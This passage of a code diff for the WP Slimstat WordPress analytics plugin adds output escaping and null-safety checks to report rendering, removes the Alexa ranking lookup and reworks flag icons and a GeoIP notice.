9.33359C2.50187 5.19973 5.89666 1.875 10.0656 1.875C12.8226 1.875 15.239 3.32856 16.5777 5.50601C16.7584 5.80006 16.6666 6.18499 16.3726 6.36576C16.0785 6.54654 15.6936 6.45471 15.5128 6.16066C14.3937 4.34037 12.3735 3.125 10.0656 3.125C6.57859 3.125 3.75293 5.89808 3.69234 9.33181L4.02599 9.00077C4.27102 8.75765 4.66675 8.75921 4.90986 9.00424C5.15298 9.24928 5.15143 9.645 4.90639 9.88812L3.50655 11.277C3.26288 11.5188 2.86982 11.5188 2.62614 11.277L1.2263 9.88812C0.981267 9.645 0.979713 9.24928 1.22283 9.00424C1.46595 8.75921 1.86167 8.75765 2.10671 9.00077L2.44215 9.33359ZM16.4885 8.72215C16.732 8.4815 17.1238 8.4815 17.3672 8.72215L18.7724 10.111C19.0179 10.3537 19.0202 10.7494 18.7776 10.9949C18.5349 11.2404 18.1392 11.2427 17.8937 11.0001L17.5521 10.6624C17.4943 14.8003 14.0846 18.125 9.90191 18.125C7.13633 18.125 4.71134 16.6725 3.3675 14.4949C3.18622 14.2012 3.2774 13.8161 3.57114 13.6348C3.86489 13.4535 4.24997 13.5447 4.43125 13.8384C5.5545 15.6586 7.58316 16.875 9.90191 16.875C13.4071 16.875 16.2433 14.0976 16.302 10.6641L15.962 11.0001C15.7165 11.2427 15.3208 11.2404 15.0782 10.9949C14.8355 10.7494 14.8378 10.3537 15.0833 10.111L16.4885 8.72215Z\" fill=\"#676E74\"\u002F>\u003C\u002Fsvg>\u003C\u002Fa>';\n@@ -971,7 +1005,13 @@\n \n         $bar_color = (empty(self::$reports[$_report_id]['color'])) ? '#EFF6FF' : self::$reports[$_report_id]['color'];\n \n-        echo \"\u003Cdiv class='postbox \" . esc_attr($header_classes) . \"' style='--box-bar-color: \" . esc_attr($bar_color) . \";' id='\" . esc_attr($_report_id) . sprintf(\"'>%s %s \u003Cdiv class='inside'>\", $header_buttons, $widget_title);\n+        \u002F\u002F Build style attributes\n+        $style_attrs = \"--box-bar-color: \" . esc_attr($bar_color);\n+        if ($custom_height) {\n+            $style_attrs .= \"; height: \" . esc_attr($custom_height);\n+        }\n+\n+        echo \"\u003Cdiv class='postbox \" . esc_attr($header_classes) . \"' style='\" . esc_attr($style_attrs) . \"' id='\" . esc_attr($_report_id) . sprintf(\"'>%s %s \u003Cdiv class='inside'>\", $header_buttons, $widget_title);\n         return null;\n     }\n \n@@ -1046,9 +1086,22 @@\n         }\n \n         wp_slimstat_db::$debug_message = '';\n+        $where_params                  = $_args['where_params'] ?? null;\n+        if (!empty($_args['raw']) && is_array($_args['raw']) && isset($_args['raw'][0]) && method_exists($_args['raw'][0], 'get_combined_where')) {\n+            $_args['where'] = call_user_func([$_args['raw'][0], 'get_combined_where'], $_args['where'], '', true, '', $where_params);\n+        }\n \n         $all_results = call_user_func($_args['raw'], $_args);\n \n+        \u002F\u002F Fix for Recent Outbound Links: wrap strings as arrays with the correct key\n+        if (!empty($_args['columns']) && 'outbound_resource' === $_args['columns'] && !empty($all_results) && is_array($all_results)) {\n+            foreach ($all_results as $k => $v) {\n+                if (!is_array($v)) {\n+                    $all_results[$k] = ['outbound_resource' => $v];\n+                }\n+            }\n+        }\n+\n         \u002F\u002F Backward compatibility\n         if (!is_array($all_results)) {\n             $all_results = [];\n@@ -1105,6 +1158,10 @@\n                 $_args['columns'] = explode(',', $_args['columns']);\n                 $_args['columns'] = trim($_args['columns'][0]);\n             }\n+            \u002F\u002F Ensure columns is a string (for safety)\n+            if (is_array($_args['columns'])) {\n+                $_args['columns'] = trim($_args['columns'][0]);\n+            }\n \n             $permalinks_enabled = get_option('permalink_structure');\n \n@@ -1112,7 +1169,12 @@\n                 $row_details       = '';\n                 $percentage        = '';\n                 $element_pre_value = '';\n-                $element_value     = $results[$i][$_args['columns']];\n+                \u002F\u002F Ensure $results[$i] is an array and the key exists\n+                if (is_array($results[$i]) && isset($results[$i][$_args['columns']])) {\n+                    $element_value = $results[$i][$_args['columns']];\n+                } else {\n+                    $element_value = '';\n+                }\n \n                 \u002F\u002F Some columns require a special pre-treatment\n                 switch ($_args['columns']) {\n@@ -1121,14 +1183,14 @@\n                             $element_pre_value = self::inline_help($results[$i]['user_agent'], false);\n                         }\n \n-                        if (realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fbrowsers\u002F' . strtolower($results[$i]['browser']) . '.png'))) {\n-                            $image_url = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fbrowsers\u002F' . strtolower($results[$i]['browser']) . '.png');\n+                        $browser = $results[$i]['browser'] ?? '';\n+                        if (realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fbrowsers\u002F' . strtolower($browser) . '.png'))) {\n+                            $image_url = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fbrowsers\u002F' . strtolower($browser) . '.png');\n                         } else {\n                             $image_url = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Funk.png');\n                         }\n-\n-                        $element_value = '\u003Cimg class=\"slimstat-browser-icon\" src=\"' . $image_url . '\" width=\"16\" height=\"16\" alt=\"' . $results[$i]['browser'] . '\" \u002F> ';\n-                        $element_value .= $results[$i]['browser'] . ((isset($results[$i]['browser_version']) && 0 != intval($results[$i]['browser_version'])) ? ' ' . $results[$i]['browser_version'] : '');\n+                        $element_value = '\u003Cimg class=\"slimstat-browser-icon\" src=\"' . $image_url . '\" width=\"16\" height=\"16\" alt=\"' . $browser . '\" \u002F> ';\n+                        $element_value .= $browser . ((isset($results[$i]['browser_version']) && 0 != intval($results[$i]['browser_version'])) ? ' ' . $results[$i]['browser_version'] : '');\n                         break;\n \n                     case 'category':\n@@ -1160,18 +1222,18 @@\n                         break;\n \n                     case 'country':\n-\n-                        if (realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . strtolower($results[$i]['country']) . '.svg'))) {\n-                            $svg_path      = realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . strtolower($results[$i]['country']) . '.svg'));\n-                            $svg_content   = file_get_contents($svg_path);\n-                            $element_value = '\u003Cspan class=\"slimstat-flag-container\">' . $svg_content . '\u003C\u002Fspan>';\n+                        $country = $results[$i]['country'] ?? '';\n+                        $flag_rel  = '\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . strtolower($country) . '.svg';\n+                        $flag_path = SLIMSTAT_ANALYTICS_DIR . $flag_rel;\n+                        if (is_readable($flag_path)) {\n+                            $image_url     = SLIMSTAT_ANALYTICS_URL . $flag_rel;\n+                            $element_value = '\u003Cimg class=\"slimstat-flag-icon\" src=\"' . $image_url . '\" width=\"16\" height=\"16\" alt=\"' . esc_attr($country) . '\" \u002F>';\n                         } else {\n                             $image_url     = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Funk.png');\n-                            $element_value = '\u003Cimg class=\"slimstat-browser-icon\" src=\"' . $image_url . '\" width=\"16\" height=\"16\" alt=\"' . $results[$i]['country'] . '\" \u002F>';\n+                            $element_value = '\u003Cimg class=\"slimstat-flag-icon\" src=\"' . $image_url . '\" width=\"16\" height=\"16\" alt=\"' . esc_attr($country) . '\" \u002F>';\n                         }\n-\n-                        $row_details .= __('Code', 'wp-slimstat') . (': ' . $results[ $i ][ 'country' ]);\n-                        $element_value .= wp_slimstat_i18n::get_string('c-' . $results[$i]['country']);\n+                        $row_details .= __('Code', 'wp-slimstat') . (': ' . $country);\n+                        $element_value .= wp_slimstat_i18n::get_string('c-' . $country);\n                         break;\n \n                     case 'id':\n@@ -1187,9 +1249,12 @@\n                         $language_parts     = explode('-', $results[$i][$_args['columns']]);\n                         $last_language_part = end($language_parts);\n                         if (realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . $last_language_part . '.svg'))) {\n-                            $svg_path      = realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . $last_language_part . '.svg'));\n-                            $svg_content   = file_get_contents($svg_path);\n-                            $element_value = '\u003Cspan class=\"slimstat-flag-container\">' . $svg_content . '\u003C\u002Fspan>';\n+                            $flag_rel      = '\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . $last_language_part . '.svg';\n+                            $flag_path     = SLIMSTAT_ANALYTICS_DIR . $flag_rel;\n+                            if (is_readable($flag_path)) {\n+                                $image_url     = SLIMSTAT_ANALYTICS_URL . $flag_rel;\n+                                $element_value = '\u003Cimg class=\"slimstat-flag-icon\" src=\"' . $image_url . '\" width=\"16\" height=\"16\" alt=\"' . esc_attr($last_language_part) . '\" \u002F>';\n+                            }\n                         } else {\n                             $image_url     = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Funk.png');\n                             $element_value = '\u003Cimg class=\"slimstat-browser-icon\" src=\"' . $image_url . '\" width=\"16\" height=\"16\" alt=\"' . $results[$i][$_args['columns']] . '\" \u002F>';\n@@ -1200,7 +1265,6 @@\n                         break;\n \n                     case 'platform':\n-\n                         $row_details = __('Code', 'wp-slimstat') . (': ' . $results[$i][$_args[ 'columns' ]]);\n                         $icons       = [\n                             'android'  => 'and',\n@@ -1217,8 +1281,8 @@\n                             'macosx'   => 'mac',\n                         ];\n \n-                        $platform_parts     = explode('-', $results[$i][$_args['columns']]);\n-                        $last_platform_part = strtolower(end($platform_parts));\n+                        $platform_parts     = explode('-', $results[$i][$_args['columns']] ?? '');\n+                        $last_platform_part = strtolower((string)end($platform_parts));\n \n                         if (realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fos\u002F' . $last_platform_part . '.webp'))) {\n                             $image_url = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fos\u002F' . $last_platform_part . '.webp');\n@@ -1247,9 +1311,9 @@\n                             $row_details = __('URL', 'wp-slimstat') . ': ' . htmlentities($results[$i][$_args['columns']], ENT_QUOTES, 'UTF-8');\n                         }\n                         if (!empty($_args['where']) && false !== strpos($_args['where'], 'download')) {\n-                            $clean_extension = pathinfo(strtolower(parse_url($results[$i][$_args['columns']], PHP_URL_PATH)), PATHINFO_EXTENSION);\n+                            $clean_extension = pathinfo(strtolower(parse_url($results[$i][$_args['columns']] ?? '', PHP_URL_PATH)), PATHINFO_EXTENSION);\n                             if (in_array($clean_extension, ['jpg', 'gif', 'png', 'jpeg', 'bmp'])) {\n-                                $row_details = '\u003Cbr>\u003Cimg src=\"' . $results[$i][$_args['columns']] . '\" style=\"width:100px\">';\n+                                $row_details = '\u003Cbr>\u003Cimg src=\"' . esc_url($results[$i][$_args['columns']]) . '\" style=\"width:100px\">';\n                             }\n                         }\n                         $element_value = $resource_title;\n@@ -1278,39 +1342,39 @@\n                         if (!empty($results[$i]['username'])) {\n                             $element_custom_value = get_user_by('login', $results[$i]['username']);\n                             if ($element_custom_value) {\n-                                $element_value = \"\u003Ca href='\" . get_author_posts_url($element_custom_value->ID) . \"' class=\\\"slimstat-author-link\\\" title='\" . esc_attr($element_custom_value->user_login) . \"'>\";\n+                                $element_value = \"\u003Ca href='\" . esc_url(get_author_posts_url($element_custom_value->ID)) . \"' class=\\\"slimstat-author-link\\\" title='\" . esc_attr($element_custom_value->user_login) . \"'>\";\n                                 $element_value .= get_avatar($element_custom_value->ID, 18);\n-                                $element_value .= $results[$i]['username'];\n+                                $element_value .= esc_html($results[$i]['username']);\n                                 $element_value .= '\u003C\u002Fa>';\n                             } else {\n                                 $image_url     = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Funk.png');\n-                                $element_value = \"\u003Ca href=\\\"#\\\" class='slimstat-author-link'>\u003Cimg src='\" . $image_url . sprintf(\"' class=\\\"avatar avatar-16 photo\\\" alt='Unknown'>%s (\", $results[$i]['username']) . __('Unknown', 'wp-slimstat') . ')\u003C\u002Fa>';\n+                                $element_value = \"\u003Ca href=\\\"#\\\" class='slimstat-author-link'>\u003Cimg src='\" . esc_url($image_url) . sprintf(\"' class=\\\"avatar avatar-16 photo\\\" alt='Unknown'>%s (\", esc_html($results[$i]['username'])) . __('Unknown', 'wp-slimstat') . ')\u003C\u002Fa>';\n                             }\n                         } else {\n                             $image_url     = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Funk.png');\n-                            $element_value = \"\u003Ca href=\\\"#\\\" class='slimstat-author-link'>\u003Cimg src='\" . $image_url . \"' class=\\\"avatar avatar-16 photo\\\" alt='Unknown'>\" . __('Guest', 'wp-slimstat') . '\u003C\u002Fa>';\n+                            $element_value = \"\u003Ca href=\\\"#\\\" class='slimstat-author-link'>\u003Cimg src='\" . esc_url($image_url) . \"' class=\\\"avatar avatar-16 photo\\\" alt='Unknown'>\" . __('Guest', 'wp-slimstat') . '\u003C\u002Fa>';\n                         }\n \n                         if ('on' == wp_slimstat::$settings['show_display_name']) {\n                             $element_custom_value = get_user_by('login', $results[$i]['username']);\n                             if (is_object($element_custom_value)) {\n-                                $element_value = $element_custom_value->display_name;\n+                                $element_value = esc_html($element_custom_value->display_name);\n                             }\n                         }\n                         break;\n                     case 'author': \u002F\u002F Backward compatibility\n-                        $author_username = $results[$i]['author'];\n+                        $author_username = is_array($results[$i]) && isset($results[$i]['author']) ? $results[$i]['author'] : '';\n                         if ($author_username) {\n                             $author = get_user_by('login', $author_username);\n                             if ($author) {\n-                                $author_id     = $author->ID;\n-                                $element_value = \"\u003Ca href='\" . get_author_posts_url($author_id) . \"' class=\\\"slimstat-author-link\\\" title='\" . esc_attr($author->user_login) . \"'>\";\n+                                $author_id     = $author ? $author->ID : 0;\n+                                $element_value = \"\u003Ca href='\" . esc_url(get_author_posts_url($author_id)) . \"' class=\\\"slimstat-author-link\\\" title='\" . esc_attr($author->user_login) . \"'>\";\n                                 $element_value .= get_avatar($author_id, 18);\n-                                $element_value .= $author ? empty($author->display_name) ? $author->user_login : $author->display_name : $results[$i]['author'];\n+                                $element_value .= esc_html($author ? (empty($author->display_name) ? $author->user_login : $author->display_name) : $author_username);\n                                 $element_value .= '\u003C\u002Fa>';\n                             } else {\n                                 $image_url     = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Funk.png');\n-                                $element_value = \"\u003Ca href=\\\"#\\\" class='slimstat-author-link'>\u003Cimg src='\" . $image_url . sprintf(\"' class=\\\"avatar avatar-16 photo\\\" alt='Unknown'>%s (\", $results[$i]['author']) . __('Unknown', 'wp-slimstat') . ')\u003C\u002Fa>';\n+                                $element_value = \"\u003Ca href=\\\"#\\\" class='slimstat-author-link'>\u003Cimg src='\" . esc_url($image_url) . \"' class=\\\"avatar avatar-16 photo\\\" alt='Unknown'>\" . esc_html($author_username) . ' (' . __('Unknown', 'wp-slimstat') . ')\u003C\u002Fa>';\n                             }\n                         } else {\n                             $image_url     = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Funk.png');\n@@ -1328,11 +1392,16 @@\n                 }\n \n                 if (is_admin()) {\n-                    $element_value = \"\u003Ca class='slimstat-filter-link' href='\" . self::fs_url($_args['columns'] . ' ' . $_args['filter_op'] . ' ' . htmlentities(strval($results[$i][$_args['columns']]), ENT_QUOTES, 'UTF-8')) . sprintf(\"'>%s\u003C\u002Fa>\", $element_value);\n+                    $column_value  = is_array($results[$i]) && isset($results[$i][$_args['columns']]) ? $results[$i][$_args['columns']] : '';\n+                    $element_value = \"\u003Ca class='slimstat-filter-link' href='\" . self::fs_url($_args['columns'] . ' ' . $_args['filter_op'] . ' ' . htmlentities(strval($column_value), ENT_QUOTES, 'UTF-8')) . sprintf(\"'>%s\u003C\u002Fa>\", $element_value);\n                 }\n \n                 if (!empty($_args['type']) && 'recent' == $_args['type']) {\n-                    $row_details = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $results[$i]['dt'], true) . ('' === $row_details || '0' === $row_details ? '' : '\u003Cbr>') . $row_details;\n+                    if (is_array($results[$i]) && isset($results[$i]['dt'])) {\n+                        $row_details = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $results[$i]['dt'], true) . ('' === $row_details || '0' === $row_details ? '' : '\u003Cbr>') . $row_details;\n+                    } else {\n+                        \u002F\u002F No date available, just show details if any\n+                    }\n                 }\n \n                 if (!empty($_args['type']) && 'top' == $_args['type']) {\n@@ -1356,19 +1425,19 @@\n                         $base_url = parse_url(get_site_url($results[$i]['blog_id']));\n                         $base_url = $base_url['scheme'] . ':\u002F\u002F' . $base_url['host'];\n                     }\n-                    $element_value = '\u003Ca target=\"_blank\" class=\"slimstat-font-logout\" title=\"' . __('Open this URL in a new window', 'wp-slimstat') . '\" href=\"' . $base_url . htmlentities($results[$i]['resource'], ENT_QUOTES, 'UTF-8') . '\">\u003C\u002Fa> ' . $base_url . $element_value;\n+                    $element_value = '\u003Ca target=\"_blank\" class=\"slimstat-font-logout\" title=\"' . esc_attr(__('Open this URL in a new window', 'wp-slimstat')) . '\" href=\"' . esc_url($base_url . $results[$i]['resource']) . '\">\u003C\u002Fa> ' . esc_html($base_url) . $element_value;\n                 }\n \n                 if ('referer' == $_args['columns'] && !empty($_args['type']) && 'top' == $_args['type']) {\n-                    $element_url = htmlentities($results[$i]['referer'], ENT_QUOTES, 'UTF-8');\n+                    $element_url = $results[$i]['referer'];\n                     if (false === strpos($element_url, 'http')) {\n                         $element_url = 'https:\u002F\u002F' . $element_url;\n                     }\n-                    $element_value = '\u003Ca target=\"_blank\" class=\"slimstat-font-logout\" title=\"' . __('Open this URL in a new window', 'wp-slimstat') . '\" href=\"' . $element_url . '\">\u003C\u002Fa> ' . $element_value;\n+                    $element_value = '\u003Ca target=\"_blank\" class=\"slimstat-font-logout\" title=\"' . esc_attr(__('Open this URL in a new window', 'wp-slimstat')) . '\" href=\"' . esc_url($element_url) . '\">\u003C\u002Fa> ' . $element_value;\n                 }\n \n                 if (is_admin() && !empty($results[$i]['ip']) && 'ip' != $_args['columns'] && 'on' != wp_slimstat::$settings['convert_ip_addresses']) {\n-                    $row_details .= '\u003Cbr> IP: \u003Ca class=\"slimstat-filter-link\" href=\"' . self::fs_url('ip equals ' . $results[$i]['ip']) . '\">' . $results[$i]['ip'] . '\u003C\u002Fa>' . (empty($results[$i]['other_ip']) ? '' : ' \u002F ' . $results[$i]['other_ip']) . '\u003Ca title=\"WHOIS: ' . $results[$i]['ip'] . '\" class=\"slimstat-font-location-1 whois\" href=\"' . wp_slimstat::$settings['ip_lookup_service'] . $results[$i]['ip'] . '\">\u003C\u002Fa>';\n+                    $row_details .= '\u003Cbr> IP: \u003Ca class=\"slimstat-filter-link\" href=\"' . esc_url(self::fs_url('ip equals ' . $results[$i]['ip'])) . '\">' . esc_html($results[$i]['ip']) . '\u003C\u002Fa>' . (empty($results[$i]['other_ip']) ? '' : ' \u002F ' . esc_html($results[$i]['other_ip'])) . '\u003Ca title=\"WHOIS: ' . esc_attr($results[$i]['ip']) . '\" class=\"slimstat-font-location-1 whois\" href=\"' . esc_url(wp_slimstat::$settings['ip_lookup_service'] . $results[$i]['ip']) . '\">\u003C\u002Fa>';\n                 }\n                 if ('' !== $row_details && '0' !== $row_details) {\n                     $row_details = sprintf(\"\u003Cb class='slimstat-tooltip-content'>%s\u003C\u002Fb>\", $row_details);\n@@ -1530,7 +1599,7 @@\n                 }\n             }\n \n-            echo sprintf('\u003Cp>%s \u003Cspan>%s\u003C\u002Fspan>\u003Cbr\u002F>', $a_result[ 'resource' ], esc_html( $a_result[ 'counthits' ] )) . implode(', ', $group_markup) . '\u003C\u002Fp>';\n+            echo sprintf('\u003Cp>%s \u003Cspan>%s\u003C\u002Fspan>\u003Cbr\u002F>', wp_kses_post( $a_result[ 'resource' ] ), esc_html( $a_result[ 'counthits' ] )) . wp_kses_post( implode(', ', $group_markup) ) . '\u003C\u002Fp>';\n         }\n \n         if (! defined('DOING_AJAX') || ! DOING_AJAX) {\n@@ -1549,6 +1618,7 @@\n \n     public static function show_rankings()\n     {\n+        \u002F\u002F Remove Alexa ranking code and references\n         $options  = ['timeout' => 30, 'headers' => ['Accept' => 'application\u002Fjson']];\n         $site_url = parse_url(home_url(), PHP_URL_HOST);\n         if (!empty(wp_slimstat_db::$filters_normalized['resource']) && 'equals' == wp_slimstat_db::$filters_normalized['resource'][0]) {\n@@ -1556,7 +1626,7 @@\n         }\n         $site_url = urlencode($site_url);\n \n-        \u002F\u002F Check if we have a valied transient\n+        \u002F\u002F Check if we have a valid transient\n         if (false === ($rankings = get_transient('slimstat_ranking_values'))) {\n             $rankings = [\n                 'seomoz_domain_authority' => [\n@@ -1574,21 +1644,6 @@\n                     __('Moz Links', 'wp-slimstat'),\n                     __('The number of links (external, equity or nonequity or not) to your homepage.', 'wp-slimstat'),\n                 ],\n-                'alexa_world_rank' => [\n-                    0,\n-                    __('Alexa World Rank', 'wp-slimstat'),\n-                    __('Alexa is a subsidiary company of Amazon.com which provides commercial web traffic data.', 'wp-slimstat'),\n-                ],\n-                'alexa_country_rank' => [\n-                    0,\n-                    __('Alexa Country Rank', 'wp-slimstat'),\n-                    '',\n-                ],\n-                'alexa_popularity' => [\n-                    0,\n-                    __('Alexa Popularity', 'wp-slimstat'),\n-                    '',\n-                ],\n             ];\n \n             if (!empty(wp_slimstat::$settings['mozcom_access_id']) && !empty(wp_slimstat::$settings['mozcom_secret_key'])) {\n@@ -1616,40 +1671,6 @@\n                     }\n                 }\n             }\n-\n-            \u002F\u002F Alexa\n-            $response = @wp_remote_get('http:\u002F\u002Fdata.alexa.com\u002Fdata?cli=10&dat=snbamz&url=' . $site_url, $options);\n-            if (!is_wp_error($response) && isset($response['response']['code']) && (200 == $response['response']['code']) && !empty($response['body'])) {\n-                $response = @simplexml_load_string($response['body']);\n-                if (is_object($response->SD[1])) {\n-                    if ($response->SD[1]->POPULARITY && $response->SD[1]->POPULARITY->attributes()) {\n-                        $popularity = $response->SD[1]->POPULARITY->attributes();\n-                        if (!empty($popularity)) {\n-                            $rankings['alexa_popularity'][0] = number_format_i18n(floatval($popularity['TEXT']));\n-                        }\n-                    }\n-\n-                    if ($response->SD[1]->REACH && $response->SD[1]->REACH->attributes()) {\n-                        $reach = $response->SD[1]->REACH->attributes();\n-                        if (!empty($reach)) {\n-                            $rankings['alexa_world_rank'][0] = number_format_i18n(floatval($reach['RANK']));\n-                        }\n-                    }\n-\n-                    if ($response->SD[1]->COUNTRY && $response->SD[1]->COUNTRY->attributes()) {\n-                        $country = $response->SD[1]->COUNTRY->attributes();\n-                        if (!empty($country)) {\n-                            $rankings['alexa_country_rank'][0] = number_format_i18n(floatval($country['RANK']));\n-                        }\n-                    } elseif ($response->SD[1]->RANK && $response->SD[1]->RANK->attributes()) {\n-                        $rank = $response->SD[1]->RANK->attributes();\n-                        if (!empty($rank)) {\n-                            $rankings['alexa_country_rank'][0] = number_format_i18n(floatval($rank['DELTA']));\n-                            $rankings['alexa_country_rank'][1] = __('Alexa Delta', 'wp-slimstat');\n-                        }\n-                    }\n-                }\n-            }\n         }\n \n         foreach ($rankings as $a_ranking) {\n@@ -1684,10 +1705,10 @@\n         $max           = 0;\n \n         foreach ($countries as $a_country) {\n-            $code         = strtolower($a_country['country']);\n+            $code         = strtolower((string)($a_country['country'] ?? ''));\n             $visits       = (int) $a_country['counthits'];\n             $percent      = (wp_slimstat_db::$pageviews > 0) ? round((100 * $visits \u002F wp_slimstat_db::$pageviews), 2) : 0;\n-            $country_name = wp_slimstat_i18n::get_string('c-' . $a_country['country'], 'wp-slimstat');\n+            $country_name = wp_slimstat_i18n::get_string('c-' . ($a_country['country'] ?? ''), 'wp-slimstat');\n \n             $data_areas[$code] = $visits;\n             $country_stats[]   = [\n@@ -1706,8 +1727,8 @@\n         $top_countries = array_slice($country_stats, 0, 5);\n \n         $path_slimstat = dirname(__FILE__, 2);\n-        wp_enqueue_script('slimstat_jqvmap', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fjqvmap\u002Fjquery.vmap.min.js', $path_slimstat), ['jquery'], '1.5.1', false);\n-        wp_enqueue_script('slimstat_jqvmap_world', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fjqvmap\u002Fjquery.vmap.world.min.js', $path_slimstat), ['jquery'], '1.5.1', false);\n+        wp_enqueue_script('slimstat_jqvmap', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fjqvmap\u002Fjquery.vmap.min.js', $path_slimstat), ['jquery'], '1.5.1', true);\n+        wp_enqueue_script('slimstat_jqvmap_world', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fjqvmap\u002Fjquery.vmap.world.min.js', $path_slimstat), ['jquery'], '1.5.1', true);\n         ?>\n \n         \u003Cdiv class=\"map-container\">\n@@ -1724,17 +1745,29 @@\n                     } else {\n                         $settings_url = network_admin_url('admin.php?page=slimconfig&amp;tab=');\n                     }\n-        if (('disable' == wp_slimstat::$settings['enable_maxmind'] || !\\SlimStat\\Services\\GeoIP::database_exists())) {\n-            echo sprintf(__(\"GeoIP collection is not enabled. Please go to \u003Ca href='%s' class='noslimstat'>setting page\u003C\u002Fa> to enable GeoIP for getting more information and location (country) from the visitor.\", 'wp-slimstat'), $settings_url . '2#wp-slimstat-third-party-libraries');\n-            echo '\u003Cbr>';\n-        }\n-        ?>\n+                    \u002F\u002F Provider-aware GeoIP notice (world map): only for DB providers when DB file is missing\n+                    $provider = wp_slimstat::$settings['geolocation_provider'] ?? 'dbip';\n+                    $uses_db  = in_array($provider, ['dbip', 'maxmind'], true);\n+                    $db_missing = false;\n+                    if ($uses_db) {\n+                        try {\n+                            $service    = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n+                            $db_missing = !file_exists($service->getProvider()->getDbPath());\n+                        } catch (\\Throwable $e) {\n+                            $db_missing = true;\n+                        }\n+                    }\n+                    if ($uses_db && $db_missing) {\n+                        echo sprintf(__(\"GeoIP collection is not enabled. Please go to \u003Ca href='%s' class='noslimstat'>setting page\u003C\u002Fa> to enable GeoIP for getting more information and location (country) from the visitor.\", 'wp-slimstat'), $settings_url . '2#wp-slimstat-third-party-libraries');\n+                        echo '\u003Cbr>';\n+                    }\n+                    ?>\n                     \u003C?php foreach ($top_countries as $country): ?>\n                         \u003Cdiv class=\"country-bar\">\n                             \u003Cdiv class=\"country-flag-container\">\n                                 \u003C?php\n-                    if (realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . strtolower($country['code']) . '.svg'))) {\n-                        $image_url = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . strtolower($country['code']) . '.svg');\n+                    if (realpath(SLIMSTAT_ANALYTICS_DIR . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . strtolower((string)($country['code'] ?? '')) . '.svg'))) {\n+                        $image_url = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . strtolower((string)($country['code'] ?? '')) . '.svg');\n                         echo '\u003Cimg class=\"country-flag\" src=\"' . $image_url . '\" width=\"32\" height=\"32\" alt=\"' . $country['code'] . '\" \u002F>';\n                     } else {\n                         $image_url = SLIMSTAT_ANALYTICS_URL . ('\u002Fadmin\u002Fassets\u002Fimages\u002Funk.png');\n@@ -1761,10 +1794,10 @@\n                     hoverOpacity: 0.7,\n                     showTooltip: true,\n                     normalizeFunction: 'polynomial',\n-                    values: \u003C?php echo json_encode($data_areas); ?>,\n+                    values: \u003C?php echo wp_json_encode($data_areas); ?>,\n                     enableZoom: true,\n                     onLabelShow: function (event, label, code) {\n-                        const data = \u003C?php echo json_encode($country_stats); ?>;\n+                        const data = \u003C?php echo wp_json_encode($country_stats); ?>;\n                         const country = data.find(c => c.code === code);\n                         if (country) {\n                             label.html( '\u003Ccanvas>\u003C\u002Fcanvas>\u003Ch3>'  + country.name  + '\u003C\u002Fh3>\u003Cp>' + country.visits.toLocaleString() + ' Visitors\u003C\u002Fp>');\n@@ -1855,7 +1888,7 @@\n \n         \u002F\u002F Avoid XSS attacks ( why would the owner try to hack into his\u002Fher own website though? )\n         if (!empty($_SERVER['HTTP_REFERER'])) {\n-            $parsed_referer = parse_url(sanitize_url(wp_unslash($_SERVER['HTTP_REFERER'])));\n+            $parsed_referer = parse_url(sanitize_url(wp_unslash($_SERVER['HTTP_REFERER'])) ?: '');\n             if (!$parsed_referer || (isset($parsed_referer['scheme']) && ('' !== $parsed_referer['scheme'] && '0' !== $parsed_referer['scheme']) && !in_array(strtolower($parsed_referer['scheme']), ['http', 'https']))) {\n                 return '';\n             }\n@@ -1894,13 +1927,20 @@\n      *\u002F\n     public static function get_resource_title($_resource = '')\n     {\n+        \u002F\u002F Ensure $_resource is never null to avoid PHP 8.1+ deprecation warnings\n+        $_resource = $_resource ?? '';\n+\n         if ('on' != wp_slimstat::$settings['convert_resource_urls_to_titles']) {\n             return htmlentities(urldecode($_resource), ENT_QUOTES, 'UTF-8');\n         }\n \n         \u002F\u002F Do we already have this value in our transient cache?\n-        $cache_index = md5($_resource);\n-        if (!empty(self::$resource_titles) && !empty(self::$resource_titles[$cache_index])) {\n+        $cache_index = md5((string)$_resource);\n+        if (!isset(self::$resource_titles) || 